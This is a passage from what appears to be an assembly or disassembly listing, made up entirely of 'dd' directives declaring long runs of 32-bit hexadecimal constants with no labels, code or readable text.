6841C08Dh dd 0FABB691Ah, 3627214h, 4D6FECF1h, 22C0B743h, 4CB8D4E7h dd 417E6631h, 2D6360D6h, 0B8296840h, 0FDABD304h, 52E9D657h dd 0FEA5F31Dh, 0C0A4AC25h, 0CE47F198h, 383F5FE0h, 0F2199C2Eh dd 7D96A728h, 0DB4A9027h, 0BE2EC043h, 18DC158Eh, 3FFBD99Fh dd 68BD8CB0h, 0F22C0593h, 0F1102375h, 76BCF05Ah, 5080534Bh dd 9DD409B9h, 31B5CCE0h, 6AC1A5Dh, 1B937579h, 191C0F24h dd 0D0E16698h, 6FF12AE9h, 3BF2CF74h, 3AFBA499h, 8762FEC9h dd 5F120F48h, 7436E4ABh, 0DAF00B1Eh, 0E636BDC9h, 5245257Ah dd 0B793DED9h, 0AA12A5ECh, 87A0D4CAh, 93F6AB08h, 0AF84FCD2h dd 844A5258h, 2A7E92CEh, 0CBDE4B91h, 6750FC8Ah, 8AF5C5BFh dd 0CB7F902Dh, 0B96E7705h, 89362515h, 6FEC5188h, 8CAAA6EBh dd 5530E966h, 280743C7h, 0D7011206h, 817EF85h, 0ACB411B8h dd 7018C4A3h, 1E5224B4h, 0DC6A4A20h, 95F167DAh, 64831316h dd 2163E951h, 8B69A32Ah, 0A1B525Ch, 77545BB1h, 511903D6h dd 0F02023E1h, 5231580Ch, 0A1B610h, 0FE4064BAh, 1670BF41h dd 0B009FC03h, 0F70781CEh, 6CF254C6h, 3DDD75Ch, 0C153A625h dd 227A04E7h, 44343F18h, 70F6B1Eh, 0FA3101E4h, 0E9D2E05Fh dd 2C99E24Bh, 3E0E3203h, 0FDC9D936h, 11EF1783h, 1893B67h dd 0C95E3C7h, 0A3605808h, 4D142612h, 0D7C84206h, 0D64FA037h dd 47BF3E03h, 0F01352BFh, 0CB1CECA1h, 413B6A1Eh, 212A297Bh dd 805ECED4h, 0BE56E51Bh, 13A3FCAh, 0C7E6810Bh, 2E709951h dd 71689402h, 5C6C7D6Bh, 2FDA0D12h, 5416E804h, 1A82BD0Bh dd 44D73423h, 22619FA4h, 4CB69C52h, 36682DA0h, 5B9D4F58h dd 90196BFh, 0F4FC316Eh, 945EE950h, 7D712578h, 0C7068E3h dd 1A3CE957h, 78046593h, 0D5F77CFEh, 67FF90BFh, 3F587553h dd 35704D4h, 0E9C42F51h, 3273F681h, 3648E76Ch, 4347DF05h dd 57E1445Bh, 948AFAB5h, 0F8207358h, 31582D1Ch, 0C501C047h dd 37F052C4h, 48FB455h, 8606366Fh, 164C4C21h, 0F3EC9682h dd 0BC58257Ah, 7E21B911h, 44F16B09h, 344B9E94h, 1317E39Eh dd 0AFA3F921h, 0AE9C101h, 0A5545553h, 0A03DDC6Ah, 3D0E09DDh dd 8FF42C2h, 3F3007E0h, 9553F968h, 2F971BF3h, 7D0196C2h dd 0CB321C6Eh, 7F2D1A56h, 2FA10AAEh, 4802F47Bh, 7BF10550h dd 524A84CAh, 68BF4FA2h, 4660EF96h, 50ED6A13h, 3E9B8122h dd 7576F012h, 242312C9h, 5591D4Eh, 0F84A4029h, 0B017135Bh dd 5B3D63F3h, 901A927h, 2E091168h, 0A60515CDh, 818EC008h dd 51C087F5h, 0C2913AE3h, 0C858E24Ch, 0BCCBBDF8h, 0B36979F2h dd 7EC17B5Ah, 0D001391Ah, 0A7077AEEh, 0C6339DF6h, 3BB2F9F2h dd 6B295D01h, 0D5FC6694h, 36445F27h, 0BEF25E5Fh, 4F01E982h dd 51BE6600h, 0B242F273h, 0ED054FDCh, 7CFE589Bh, 5AC5594Ah dd 0A09914B2h, 405A026Bh, 0C0DDDBC5h, 2239F7F7h, 0CFBE02C6h dd 57C24827h, 0B2F3015h, 863440Ch, 0C606707Ch, 0B0E802FEh dd 0B2B90418h, 0D5299966h, 383EB2Dh, 0BB680257h, 3A184F8Dh dd 782DE8E0h, 0E9461605h, 7BD12505h, 0F4CCC4CCh, 67EFEC81h dd 0C3C106E5h, 0E783FAC7h, 68151075h, 1685175Bh, 0C8FC6574h dd 7B8444D4h, 57580531h, 119063B9h, 90C25317h, 71B3060h dd 0CA89231Fh, 6B02CB7Bh, 41E7D147h, 0A0058EDAh, 0C840B442h dd 6EB0FC1h, 6C0EE381h, 0A10C0C0Ch, 4CD96418h, 0C963FCE2h dd 1AFE3DA7h, 58320B6Fh, 58F097FEh, 0EC9EA33h, 7C11EA5Ch dd 4CBF01DDh, 54AC58CDh, 0BAB409C2h, 1037BC05h, 840B6AEh dd 0F6E3BF58h, 0E962AE9Fh, 185D6899h, 905457A3h, 0DBBA2C50h dd 0F1CFC403h, 46D576FCh, 0D5924E92h, 9D75B58h, 0E0F14330h dd 9DB1E825h, 315B8097h, 7C3AE1EFh, 1C523483h, 0FCB98640h dd 37464060h, 64AEE1C1h, 40FFE74Bh, 2A3194CAh, 19FBA878h dd 0EC4F8792h, 0DE4C46h, 694132F5h, 13A4CB81h, 0BB2DDA6Dh dd 175E8E41h, 0E46A316Fh, 630FEB92h, 56D7E1FDh, 1FEFF2F0h dd 26FB2145h, 3EF502DCh, 6866A091h, 23549790h, 659F5BA3h dd 7DB3D32h, 6F276D29h, 5E2FF54Fh, 0DBCD8161h, 450B8824h dd 6F888803h, 6944E507h, 223C08FBh, 0E9354501h, 8E2A23C2h dd 0E6CB5F4Ch, 6C6B4D7Ah, 4BF7A397h, 0E98410E9h, 8937E06Ah dd 0F45FD577h, 4F87FC90h, 0A9609528h, 65026851h, 5952DE19h dd 47386041h, 0F887C4Eh, 0D9F7E9D1h, 2479243Dh, 60E305A1h dd 6A1AE1A3h, 68C2A5E2h, 0F1DE7C53h, 9A204961h, 2C38D20h dd 17F41982h, 0CC7D68E9h, 4888C9D7h, 56FBA56h, 3990D30h dd 0ED938B2Ch, 0E9167190h, 0CEE8FA1Dh, 0B86A6784h, 0E5D4B7A3h dd 0E73FD7F1h, 43088459h, 0E8D30113h, 0EFC28882h, 0BF7209FAh dd 0A9286009h, 611AA5D1h, 7DF5B222h, 6AB58296h, 10BDFE65h dd 0DBF61F60h, 4C90CF3Eh, 0B8D3BEDh, 0EE01B69Eh, 0E9C2E754h dd 29ADC835h, 5E5F27F8h, 0E2B7F8ECh, 6115D613h, 2B30C468h dd 4B7D07D1h, 16468E3Eh, 0CD60CA01h, 918FF8E9h, 0AEB00CDCh dd 2F79F79Fh, 0BF61D724h, 18C12302h, 89A84971h, 5ECC8D30h dd 6848DC6Ah, 0E913842Dh, 0A89263Ah, 0A1505A59h, 60EE3B9Eh dd 0BD5501E8h, 996F2DD0h dd 510C37D0h, 0C14618E9h, 0D0D7B62Ch, 9E944BE9h, 43047927h dd 9F072BB6h, 0A23515EAh, 69A55805h, 0F844287Ah, 0E9058C9Bh dd 0C6FD9A19h, 68825ED0h, 387771B8h, 19F7BAABh, 7812DC61h dd 7DAC609Fh, 1E43FA9Dh, 0AD921463h, 0DA98E076h, 32777C16h dd 0E7CEF50Ah, 0B856807h, 52CFDBF8h, 1E79DE42h, 0E4DD4BE0h dd 0FD33C282h, 300D1882h, 364D80E0h, 9F14799Fh, 0B0644B9h dd 0E80A843Eh, 45165A44h, 66A094EDh, 0DC5EE958h, 2F8695D0h dd 5554C50h, 905F106h, 0D0090C53h, 401EDD40h, 240DFC50h dd 178F29E4h, 8776442Dh, 376A0FBh, 826857F5h, 1E444383h dd 3F2CCF0Ch, 170D0C44h, 5132D0Ch, 0C47ABFF3h, 0C244942Bh dd 0CC5D0420h, 0CC4D259Bh, 1EB54566h, 394C201Fh, 0E85FB998h dd 6680B4D4h, 9F1C4721h, 314DF0E4h, 3C5B2DCBh, 56539D48h dd 4F68C202h, 4BD1F41Fh, 712568FCh, 0C002EB71h, 18577826h dd 8238E86Ch, 0D1DB835Dh, 8062DA1Fh, 0AA074FD3h, 1804B87Ah dd 955944E9h, 1801D3F5h, 0BE56128Bh, 5DD5B19h, 2CF6CEF0h dd 13B7871Fh, 5FFF4A64h, 385549EFh, 2C7A37D9h, 1C515ADAh dd 0FBD96D45h, 0FDAAE905h, 4615B8F3h, 5C285A83h, 0DE209F04h dd 7F306ADFh, 92A1F582h, 389FC1E9h, 67C684E0h, 0B40077FFh dd 8886B0ABh, 85CBE85Bh, 0E272532Fh, 5076EB7Dh, 0E927D87Ah dd 29A682BFh, 36C77FCBh, 0F839E989h, 0A7E29C90h, 84256E9Ch dd 8B0D7190h, 0A148EE0Eh, 13044FBh, 6DA90C17h, 49240558h dd 0EFEFAFE9h, 75C99734h, 0E7B0026Fh, 2048A831h, 2C2F6323h dd 8356F278h, 141C4108h, 3575C800h, 0A567610Dh, 3E0AB5E9h dd 0F9309F21h, 0E2F0CFC9h, 0F3A95C6h, 67414040h, 225313Eh dd 1C0B0DC2h, 35E0DF7Eh, 1B0F701Dh, 25E2D19Ah, 0A8F8BAE9h dd 0EB055901h, 3E247A03h, 4F07F210h, 95B508B8h, 6C09E458h dd 14BF5F40h, 8AC73A9Ch, 409BD92Ch, 81F50F2h, 5084EF5Fh dd 0E8BA9CBEh, 27583840h, 9B54BD68h, 0CEC48F69h, 0C00D30Fh dd 0EBF0CAC7h, 0C56295BBh, 8717C9D4h, 8A765FA6h, 0B076CEC2h dd 473ABE81h, 44217A8Ah, 1E2EC435h, 4BB416B3h, 0FDD65E32h dd 3BD8B43Ch, 4A1799F8h, 165DCABBh, 81E2628Ah, 0F527F85Bh dd 30F9C9AFh, 0DDD26EABh, 2F68A300h, 0B73FF927h, 0F58108C5h dd 0C34083E2h, 400FF16Ah, 0AC32A2D7h, 0B2E94309h, 0E19E7551h dd 651FC630h, 1754A6B8h, 0B03122FBh, 4E1FEAC7h, 1890928h dd 18995EDAh, 71EDDDA5h, 7F7B2373h, 37E70955h, 708ED010h dd 0DF154851h, 5006792h, 12FF3D4Ch, 8F00165h, 6802415Eh dd 0F6A2AFEAh, 522C114Ch, 0BB1D2AFEh, 9D546FBDh, 0EE1B16E9h dd 0CBFF6F74h, 65E501E2h, 11E91EDEh, 490B76DAh, 525C0E2Bh dd 0D8057DC9h, 2A1ADCFh, 384C5EC9h, 0A348C02Dh, 0D0422802h dd 0C0409A2h, 0AD070747h, 2B847218h, 1C40A7E3h, 482EE908h dd 4A89DC66h, 5E974930h, 0E7D34E63h, 633712F9h, 9F105BECh dd 970C00AAh, 0D4342B2Ch, 71C07DFEh, 0B0A59521h, 65EC8240h dd 0C90B5800h, 7A843A0Fh, 0E7668C0h, 0DEBE249Dh, 0C5A9B905h dd 0A2248113h, 4FE0578h, 0F89EB33Dh, 0AF1B82CBh, 3964316h dd 5A2AC9F2h, 97FF4F17h, 7C11D034h, 95B8F187h, 6CE9AD4Eh dd 0BD7C56C9h, 891FA269h, 564B840Dh, 0C4A24A22h, 435D5AD6h dd 507EDA66h, 0EFCE9DAFh, 78B42D5Ah, 0D17C35E9h, 4D99E824h dd 0C76885D1h, 0BD4F35AAh, 0D8D19752h, 322B192Dh, 0D5D04799h dd 0EC5D5155h, 18B550F7h, 97A30F3Ch, 64C135A2h, 58B0985Fh dd 0BA0EA111h, 0EB7C54DAh, 997281F4h, 6D31FD0Ah, 69ADFB45h dd 0CBD33C84h, 0F0B22CF5h, 1796CC08h, 0C40DE358h, 0CCFF4481h dd 78B12936h, 3CA3B908h, 3AD8F8A8h, 31933964h, 3D49AC5Eh dd 2072125Fh, 79FAAD60h, 571D246Fh, 202B274Dh, 0E9C14ED9h dd 4E6F336Fh, 0DB65FF95h, 0E78D8052h, 7003C42h, 0EFC14715h dd 35DF8702h, 708DBF7h, 87CB5824h, 6E7F26Fh, 5909E460h dd 0E9280E06h, 17B88C94h, 0E63F380h, 0CC47D90Ch, 0A8A6E259h dd 683F1857h, 2AE8B796h, 1DBE40C1h, 0AA29AD9Fh, 7226841h dd 5163D87Fh, 6928B904h, 8C871C74h, 0CCD70DBDh, 0BD4995B0h dd 4DE0B70h, 51A12AD3h, 0B3849A79h, 477B906h, 23641953h dd 605BC5C2h, 2551691Eh, 0CFDA49B2h, 1C060883h, 47456A6Ch dd 8BE92DD1h, 0B1B80580h, 58000778h, 1D3E0925h, 90E8C156h dd 88A3200Ah, 0A6E907B0h, 0F7819903h, 6B6968DFh, 186B66Ah dd 0E9DBDEC2h, 0F8047B12h, 2F8097DFh, 4AC306B5h, 7A11EC37h dd 3F0A0455h, 6FD1FFE4h, 81600AEBh, 0DBD804F3h, 0E22DFC04h dd 95C70818h, 7090595h, 0F416755Bh, 0CD3A5102h, 60D9F73Bh dd 35696034h, 0C2D41809h, 0A97F05E1h, 85974D1h, 541DD322h dd 0B003F289h, 882C8238h, 34AB7B16h, 751E2C17h, 0ED7235BFh dd 435A10AEh, 0BAF1855Ah, 9C042137h, 9D4A0E15h, 4F144017h dd 6E4CD864h, 41027697h, 38E96785h, 0F755A35h, 22915D9Fh dd 4FE1536Bh, 58937C52h, 9FCA2E67h, 2F2DD208h, 0D7FE5F58h dd 401BE4A0h, 0F809A527h, 147B9735h, 0D1557600h, 0B7DBE972h dd 4AE83AABh, 560C7CCFh, 0B2D14B71h, 0EEF40BEFh, 2277BEF7h dd 0A6DF70h, 3159585Dh, 0BBF6D24Ah, 0E3FF493Ch, 0B62AE2E1h dd 4E8CDAC5h, 68530A03h, 0C1F15FE8h, 20C57608h, 1F0CE96Eh dd 0C5AB510h, 2162143Fh, 94059347h, 0EF75F204h, 0EA39F1C1h dd 68C23A2Ch, 9E753F41h, 68B4C09Ah, 359351D7h, 87A05F50h dd 57D6D0E7h, 8D265DB8h, 0C88F7B91h, 0C357DA59h, 104C443h dd 44CAEECBh, 21879C5Ah, 78F7275Ah, 8402E04Ch, 453C7A76h dd 2046E6E0h, 0C792D30h, 0F95756C7h, 0B8D20E68h, 6653C18Ah dd 266C9DBBh, 1FE3CB09h, 0E82F6A05h, 0AFEFC572h, 4BDED8FCh dd 761B117Bh, 0C0919C1Ah, 4F23C024h, 705083CFh, 544FA2ECh dd 0B6A198Ch, 314D7F20h, 0BF3B88h, 45822DE0h, 0E6B73668h dd 29E92D69h, 6450F887h, 0C11B9026h, 4A0102E2h, 1A0FCA81h dd 5C30392Eh, 7F9A14BBh, 0B54EEEFBh, 6513D508h, 2E6BFCBAh dd 1FA8AF4Eh, 0CC43164Ah, 0C25B3145h, 95538C28h, 55693BD9h dd 1CD38F36h, 49B6C3F8h, 0F3125D4Ah, 11C21358h, 0AA5E651Ch dd 7B0599C4h, 0B812512h, 0CF10E568h, 285E476Ch, 16D313B0h dd 135F3B58h, 47EE122Fh, 84F2B10Bh, 1E52EB2Ch, 0EDD3CBA9h dd 0B7FDD7B4h, 3A5F5260h, 1590922h, 0E908408Ah, 6605305Fh dd 5DC62AB3h, 7760E134h, 0EEF0AE4Dh, 46CD064Eh, 34CB25E9h dd 0D831AD17h, 4B6AFE0Bh, 75FAFBh, 234F12BDh, 3FBD044Bh dd 1F84E580h, 18C2215Fh, 409A32A8h, 974944EFh, 3F12D1E6h dd 0EF00557Bh, 0AD686AF3h, 6CABC1Fh, 65880AE9h, 8740D90Ch dd 1D9D5801h, 802E6306h, 3D3436C5h, 0DD50F738h, 0BA801FCCh dd 0E046003Eh, 41F28154h, 6F4FAB01h, 0D5A12E82h, 0BC1085ABh dd 93D6187Ah, 9053598h, 0C284A1D7h, 94A0AED8h, 0E1C019DAh dd 102FC9EDh, 0BF3E9E66h, 2820D990h, 1E24E9B3h, 0FCAD78F5h dd 8ACE01D3h, 0D858806Fh, 20F64C6h, 0A04EACA9h, 0E10D29E6h dd 5DD7B00Bh, 0C15E556Ch, 0BA255BD9h, 0D2532754h, 796412E0h dd 117F646Dh, 0D15A0CF6h, 2FD78453h, 337B5CE7h, 0C7637F3Bh dd 50515AE8h, 40FC882Fh, 6EAEE995h, 6AA620A2h, 0BF040A5Fh dd 77B46021h, 29D83DF1h, 25FBE40Bh, 8A298CE9h, 0CABF0E83h dd 60303DC1h, 75822758h dd 0D11D3DC8h, 78015F80h, 13A54BFDh, 212CEA39h, 0B8645BF8h dd 95D3B7D8h, 0FC1A5EA4h, 49C84F67h, 1E4A1C2Dh, 0E65DD336h dd 0CF6B7745h, 0D0E20979h, 14C79FDDh, 0EBF971ADh, 892722D9h dd 0A77618h, 0BD199920h, 0EE017DBBh, 58C5314Eh, 0F730E5D1h dd 0A434B6CBh, 0B9968886h, 0E0495716h, 6408805Fh, 0C13E0216h dd 0CE587874h, 8E4607Dh, 1F4BAC8h, 17155CB9h, 588E303Ch dd 12AF0DD2h, 9B4D968h, 0FCCC3E6Ch, 83E14568h, 0FBBE56C3h dd 0B9423872h, 0A926F89h, 5FE9E982h, 2C9DCAAh, 0B944188Fh dd 5C350AFDh, 0A387461Dh, 916B292Bh, 0DB781174h, 0E3D15A0Fh dd 28251A05h, 2BFD4EB3h, 0FAB83BC1h, 0CB68902Eh, 0F508869h dd 760248A8h, 61E973FEh, 53CC7D51h, 505E02AEh, 0D989E782h dd 2C8448E1h, 1D54007Fh, 0E4E957A3h, 682EEC60h, 49095EA6h dd 0C62DE60Ah, 0C55D1AC2h, 87DE8868h, 350B25h, 0F781038Dh dd 6C7812ECh, 741CEF65h, 604AEED8h, 50CA8374h, 8D6ACF7Fh dd 0D8FF612Eh, 5E92B8A3h, 44582302h, 50D8F71Dh, 0C62507CAh dd 0F0141637h, 0CA46B3E6h, 0B7C28928h, 0F9E5DA5Fh, 572ABA68h dd 8BBA02C0h, 550CD668h, 16C9B660h, 9C67C32Eh, 0FDA2AF13h dd 577B351Fh, 0C2A40A6Ch, 2FE90407h, 1F2CEE55h, 25B84250h dd 5EE5D029h, 0F72A40F9h, 322217AEh, 1AE2439Ah, 98E98412h dd 8AFF0DC4h, 0B16732B2h, 7D925F5Ah, 7647DBC1h, 0E0D9105Ch dd 7334B95Ah, 89F5E19Dh, 1200ED04h, 0C3A24290h, 2540340Ch dd 50096688h, 0D54F2E32h, 0ED0D780h, 0E983B8Dh, 0FFFBC401h dd 0E3BAE9ECh, 0CAFE8801h, 0E0F1AE77h, 805966CFh, 0B4B65AE7h dd 0E91BB5C3h, 0C395B9BCh, 45AC106h, 0E64B3C23h, 48710BC3h dd 0CF918017h, 9071A5Fh, 0C2C5E911h, 508B95F1h, 2026E454h dd 0F09F39AAh, 0EB800749h, 57E3282Ch, 2F225CC3h, 5F8B894Ah dd 8E047D6Bh, 5BA01378h, 9ED80BC5h, 0AFD6049h, 4E10CE55h dd 0CD5B5A1Dh, 382EE138h, 0D0F441A6h, 4F00B023h, 8B25E0D1h dd 1C116D78h, 0CED0F740h, 60CF8D05h, 0E9C60121h, 9CB23E46h dd 0A401DC27h, 0F07549BFh, 0F4982977h, 5692044Fh, 0DBE977C7h dd 30F7DA01h, 0BCAB1352h, 0CD7EA5B8h, 2823F583h, 4AF7FA4Fh dd 188E81B1h, 0D535C831h, 0D64CE23Eh, 5F2F8E61h, 7801D460h dd 842E5EFh, 4BBAD75Dh, 257B715Ch, 0DF965707h, 191D4209h dd 8331D40Bh, 4026ABF1h, 9FD4C1CCh, 4CB07F53h, 215958CFh dd 880665Eh, 0E917059Ah, 99F87DE7h, 27CB0984h, 2ED3E2B4h dd 10F4B955h, 0E9CE8197h, 90B49722h, 0B3035A63h, 4DC6073Eh dd 26D24C56h, 5A125D39h, 91047D29h, 2E614A5h, 6B7077C9h dd 0E9E9C253h, 3C315AA0h, 164F2438h, 6C690C07h, 65025408h dd 99E93F6Fh, 4D1DE8C7h, 51B8805Bh, 3A074812h, 25A652A0h dd 7B61855Ah, 30B1E02Dh, 418B315Bh, 350C8349h, 0E9783C59h dd 0AF13E14Eh, 0FF6974F6h, 0EE6330DCh, 0C9CF38D2h, 6E122B89h dd 0AFC76D00h, 61996FDBh, 0CF85EA13h, 0F41831BCh, 515B0C5Ah dd 3079B507h, 0FE3759EEh, 272E86E3h, 0B441215Ch, 2E60FDE6h dd 0CC7AA6D0h, 51F00E4h, 7B91359Dh, 2D50F029h, 0CA985E07h dd 0DEB228FFh, 314475C1h, 45FCEED1h, 61799C1Dh, 31E511D4h dd 0E21830E3h, 7A57BE88h, 83015E27h, 0A4E88138h, 7A4C4F4Dh dd 4C4702E4h, 604A3474h, 581899B9h, 0A41080C1h, 0E3662DEAh dd 1C31A342h, 0AD2B6809h, 5F514CAh, 32AC5ABDh, 702DEB92h dd 7510BB1Ah, 0F3445EA9h, 68035B5Eh, 25100907h, 0F25BB8D9h dd 6856C1ADh, 84580CE4h, 0BF0B16E8h, 2F948122h, 7701027Dh dd 2B74D7C2h, 77D06242h, 5DE0B41Bh, 5B0A3545h, 83842C7h dd 80EF0328h, 31D00171h, 0B95B5818h, 4D2A6C21h, 2CBB2116h dd 76BD408h, 3283B753h, 0CE61DFB3h, 0B8386EC0h, 0DC908454h dd 5CB64D5Fh, 49DCC73Dh, 8B30661h, 0FEAA58E3h, 605CC361h dd 3078ADE9h, 5CD83331h, 0DA3CE961h, 0D571AB57h, 15CCFF2Bh dd 0E70AE916h, 58C56B42h, 1FE2F528h, 7972615Dh, 0E601F469h dd 872F4D39h, 9D2471EAh, 1968108h, 97262971h, 0E068897Bh dd 0DB97595Fh, 0CD94A72Ch, 0AF58B2BCh, 6D4A2451h, 0DAE1850h dd 8B27EF31h, 48CF3B2Ch, 0BF2F2932h, 0C689C69Ah, 2704DFE0h dd 5EC8FE2Dh, 1DC7165Dh, 9BF814D3h, 4AF7835Ah, 3A33D3B1h dd 0D86E612Dh, 8997C209h, 9F94D7F3h, 570AF6E3h, 0EDFCD925h dd 0D2CA7D34h, 0CB9BE40h, 5A2961D9h, 41FCF35Ch, 71C1300Ch dd 0D063B56Bh, 504B2736h, 0BF011CF1h, 7EE4222Fh, 4A91F840h dd 686B5C78h, 0F84D1106h, 0B705187Ah, 3155649Eh, 0A03A08F1h dd 0F85E29A4h, 2CA1CFD7h, 0E2FF344Ch, 0EF53806Ch, 5BFD7DBCh dd 0A604E161h, 0F9095D12h, 12EF60DDh, 2C35801Bh, 31033D7Dh dd 7E7A780Dh, 962D05Ch, 893F1F9Fh, 0C2D697C7h, 0E07243D6h dd 8178C620h, 0B16A0197h, 0BB10810Ch, 7F9C3D7Bh, 0EAB64A3Eh dd 0DB502551h, 5B394196h, 5BB507B4h, 6087B175h, 0D0E0D9B9h dd 0AF962C74h, 0BFE989BEh, 0E05C3009h, 0DA2180EEh, 53A5B48h dd 604A48EDh, 86D8CC0h, 905092Fh, 0A1D75DEAh, 0A73DE955h dd 13D532Fh, 231CE1F2h, 0C3992131h, 0CA290316h, 0EE9D542h dd 0C308EA30h, 0C22BE059h, 0B1DA9760h, 4B895D59h, 40C0722Ch dd 6C316865h, 0E3CF1542h, 229F312Fh, 0F9E62F18h, 0AB01E412h dd 0E7FC4B35h, 53F1929Fh, 1E2DEA77h, 0CA1D4520h, 1C972006h dd 681E6034h, 0F8A7156Dh, 0DD40204Dh, 0C2895213h, 4F4927BCh dd 8002458Dh, 8E6CD3EAh, 0DEB8152h, 7F05721h, 143AF00Ch dd 37141A4Ch, 0AF624DC6h, 2BFDA0F9h, 0C17D8821h, 5B4E652Ch dd 6FCBD80Fh, 0B541412h, 2D0E01FEh, 82BAAD72h, 5078660Ch dd 7AE8000Ah, 3109E524h, 0A26DE9DDh, 0F556584Dh, 4CBD545h dd 8F149CA8h, 0D92DA748h, 96DFDC4Ah, 0C7F30063h, 0E9536F36h dd 149799EBh, 8AB54AEEh, 52C7BDBh, 0A24FDB67h, 0E038867Dh dd 606151Ch, 0C4E976CEh, 0EB7B391Fh, 253E2818h, 1209FD0Ch dd 1029174Dh, 333CB55Bh, 205F6838h, 7E6C34FFh, 11517D26h dd 80D5502h, 5FD00137h, 0CFC17EDFh, 152CE799h, 36EB68B0h dd 0FC525B96h, 0F54026Eh, 65F36A03h, 465CC91Eh, 0ADB11353h dd 80C2F160h, 8CB7EDD1h, 2E680AD7h, 0C075499Ah, 7B9E04DDh dd 0D0F5312Dh, 80A441ADh, 7F1895C8h, 9BF22976h, 393189FCh dd 29E87254h, 0B374AA00h, 672BE96Ch, 73DF273Ch, 0F14FCD3Fh dd 9BC10093h, 0AF360481h, 0BA437C1Eh, 7098CC4h, 7D67459h dd 0E99FE950h, 0FE4B2CC4h, 4AE8B4A4h, 923B3755h, 1A44871Bh dd 51ECD4A4h, 886F5581h, 0B4BF2C52h, 96E92F68h, 0B0D76B42h dd 0C48BF7FBh, 408F53h, 0F31D09BAh, 0D1D0F466h, 8139B87Bh dd 7D629B83h, 0D8094D60h, 23015Ch, 4AFDEAC4h, 0ED1C79E7h dd 846C2F9h, 0F66690EEh, 48120151h, 37E9D089h, 5A246FF8h dd 4D575C83h, 30610C7Eh, 0F6EEFBB8h, 0CB06EF6h, 3C20CA1Eh dd 0C628FE29h, 835F3F08h, 961401B0h, 7339B26Bh, 0F1482D68h dd 0CAB81B2h, 6A58CF9Ah, 0DA1022B3h, 0E1AC5B2Ch, 0C200A85Bh dd 7F311268h, 0E9258214h, 52B45207h, 0BD13C8CAh, 5FF3E355h dd 0B60518C4h, 67BC4039h, 0AB525C13h, 49AEDE27h, 50B90758h dd 39E9E890h, 0E8469516h, 0A1C02A4Fh, 1DB7C680h, 8F06E6C0h dd 0EE2163F6h, 70F428EFh, 0D676C2F9h, 0A9E9E216h, 31134BE9h dd 272E8DF8h, 0B7AF1222h dd 0B75A14B2h, 49E9165Ah, 0A06E66F1h, 52568A4h, 0BC7667Eh dd 4F8562FBh, 9DE01A52h, 0E9B07A09h, 0F73C62F6h, 51AD8B65h dd 0AE720C5h, 52583A34h, 82DD20C7h, 0C2840908h, 5863E612h dd 862D4554h, 137F8FE8h, 0BB5E1800h, 72EA6EA7h, 0A2CB4A29h dd 0D40392EAh, 48FCF3E9h, 683BF03Ah, 0D3B65C30h, 9CA02703h dd 4CBDF2EBh, 22587243h, 1E200411h, 0BD054E54h, 865B3419h dd 14091EBh, 5CDD70C8h, 66DD26DCh, 184EE824h, 16F7BE3Dh dd 0AC5EBF02h, 634725C5h, 18154F75h, 6AAF54F0h, 0C20F3D27h dd 43046001h, 736F9FD6h, 94ED1A5h, 79FC52DCh, 84E4F55Ah dd 0E98044FAh, 40CE4EA1h, 626495C4h, 74BC01ACh, 778A130Dh dd 3DF8FA04h, 0ABC44F8Fh, 8053BB70h, 1782BE94h, 4F7774A2h dd 0BF0E6805h, 0D46EBE8Bh, 0F95EA4D2h, 84BD6EC6h, 0BC6C4B8Bh dd 925DDFDCh, 0C1295165h, 2052C388h, 879FDC9Fh, 0D5ABE1BEh dd 4A476302h, 92007F09h, 3AB7535Ah, 904B5BF8h, 4054998Ch dd 0D09D5DC4h, 0A35648C1h, 0EC5C6725h, 5BB37D63h, 0F59DB010h dd 1AE72D17h, 0B55826EBh, 51C70404h, 38854B8Fh, 0AA0E12FEh dd 9F4DBD9h, 4C4CDDFBh, 5F0A52F4h, 4FF4F1B7h, 11FE5EDh dd 7F6C22A4h, 6F16C940h, 0D7503157h, 0EB97844Ch, 40492DCBh dd 1327B35Eh, 6E44E7E9h, 4E911CF6h, 0C336A2CEh, 0B8823612h dd 0F9E5A495h, 0CBAD0721h, 0CDD7DFE2h, 9CE90912h, 0E6888640h dd 3858584Ch, 0FEF32D72h, 2DCA284Fh, 0B3E62110h, 0DE685609h dd 7816DE5Dh, 0CCA862E9h, 32178A2Dh, 2DBF0FE5h, 77DA118Bh dd 981A38CDh, 0A622CE70h, 0D3313DCAh, 0A29B8213h, 3FC386B1h dd 691F2073h, 0ACA968BFh, 0D1F780E6h, 41A9079Dh, 6695D5B4h dd 55BE0F16h, 0A1718226h, 493B1CD2h, 0E52FCDE8h, 0A90FFEE9h dd 5714D237h, 65605256h, 9F5BC842h, 62697E70h, 418FDF0Fh dd 69DA778Ah, 7F173CF1h, 5ABE52C0h, 70736241h, 0FA258912h dd 1C2522EDh, 0E75D4942h, 0C402A508h, 0F96C0D1Fh, 0CC2AEA0Bh dd 6FED002Fh, 1B7D5530h, 61A944E9h, 0D1455DB2h, 3D3C6885h dd 0E20596B3h, 0BA63414Bh, 6A52340Dh, 74B83A50h, 6D462D2Dh dd 571D4F2h, 0B9544B0Fh, 2307BE09h, 0CAB05C73h, 0F6BF915Fh dd 0E95816C6h, 0E91852A7h, 400510EEh, 3265680Bh, 278AE971h dd 0D953F88Dh, 8A7A8C64h, 9EE3B69h, 0FF657B3Fh, 2F089628h dd 752DF883h, 0E3E84AABh, 0CF786F4Ch, 3CC7C176h, 0A9BF79EBh dd 0F83989C0h, 3E6DB71Dh, 4D1DE984h, 75E18CFBh, 6B29F3A9h dd 553ECEF3h, 0B807C796h, 0D2B8A0EEh, 95517A61h, 3500A558h dd 6EAB747Ch, 24F03E2Dh, 2739DA38h, 0D8096BE0h, 0DB25B54h dd 97540200h, 19553579h, 1D33F14h, 4D44E25Bh, 1968C3E3h dd 12B7190Bh, 3FEEDDDCh, 0D8A572E5h, 4AAE2BDCh, 96EDC052h dd 27DF662h, 0E95AD621h, 16FD6E0Bh, 5F11ED02h, 0C2678150h dd 208B408Ah, 0A36132ECh, 0C766074Fh, 0D2352952h, 56D425B1h dd 822A9287h, 3926DEFBh, 134C2A6h, 64DC5CF2h, 0CE12D95Eh dd 0ADF498DDh, 1CE3044Ah, 0D37A73E9h, 835B1ED6h, 41136FA9h dd 0A4BD655Ah, 6D40630Ch, 69D57721h, 0EA2B4119h, 59936E45h dd 4A062CFEh, 751DD40h, 0C180E4B1h, 2C27D063h, 0C8762895h dd 849E9E8h, 0CB010919h, 5987DC59h, 0F873C3Ch, 0FE8815B4h dd 12459753h, 1BA4959h, 4D200A5Ah, 0A2E56078h, 38B70612h dd 0E09F04BBh, 12AB1342h, 1CA1049Eh, 612D0132h, 0D1F3392Ah dd 901BD37h, 824463C3h, 0D6C533E9h, 0F668D89Dh, 